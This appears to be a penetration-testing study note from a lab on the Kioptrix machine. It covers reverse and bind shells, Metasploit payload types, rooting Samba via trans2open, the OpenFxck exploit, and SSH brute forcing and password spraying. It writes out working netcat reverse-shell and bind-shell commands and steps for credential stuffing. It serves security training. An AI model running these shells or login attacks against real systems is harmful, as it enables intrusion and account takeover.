Exploitation Basics

Reverse Shell vs Bind Shell

Reverse Shells

```
# Attacking machine (10.0.0.1) opens port 4444, listening for a connection.
nc -lnvp 4444

# Target machine (10.0.0.2) connects to the attacker and executes a shell.
nc 10.0.0.1 4444 -e /bin/sh
```

Bind Shells

```
# Target machine opens port 4444 to listen, then executes a shell on connection.
nc -lnvp 4444 -e /bin/sh
```

```
# Attacking machine connects to the target machine
nc 10.0.0.2 4444
```

Staged vs Non-Staged Payloads

Non-staged

- Sends exploit shellcode all at once
- Larger in size and won't always work
- Example: windows/meterpreter_reverse_tcp

Staged

- Sends payload in stages
- Can be less stable
- Example: windows/meterpreter/reverse_tcp

If one type of payload doesn't work then try the other. If a reverse shell fails try a bind shell, staged and non-staged. Work through the options!

Gaining Root with Metasploit

Metasploit

Using the information from the recon of the target the best option appears to be targeting SMB.

trans2open appears repeatedly as a vulnerability for the version of Samba running on the target.

Start Metasploit and search for trans2open, set the RHOSTS variable and change the staged meterpreter payload to a non-staged
reverse shell, linux/x86/shell_reverse_tcp, then run to gain root.

Manual Exploitation

OpenFxck

OpenFxck is an exploit for a vulnerability in Apache mod_ssl < 2.8.7 OpenSSL that can give remote root access.

Clone the repo and follow the readme to root Kioptrix.

Take-aways

Look for arp cache and routing tables in exploited targets to look for potential pivot points, i.e other networks

Brute Force Attacks

Always try SSH

Test default credentials, weak passwords, blue team response

Use hydra for ssh brute forcing, may need to use kali-tweaks to widen ssh compatability

Credential Stuffing and Password Spraying

Credential Stuffing

Injecting breached account credentials in hopes of an account takeover - **OWASP definition**

Use Burp suite to intercept a login attempt and send it to the Intruder, mark the email and password field as payload positions,
then select Pitchfork attack and fill in the payload lists.

Password Spraying

Testing logins by brute forcing multiple usernames with a single default/weak password - **OWASP definition**

Test default credentials first, you never know!

Be careful when testing accounts, most likely you will be attacking AD accounts. Check password policy to avoid lock outs when testing,
leave a few hours between password spraying attacks.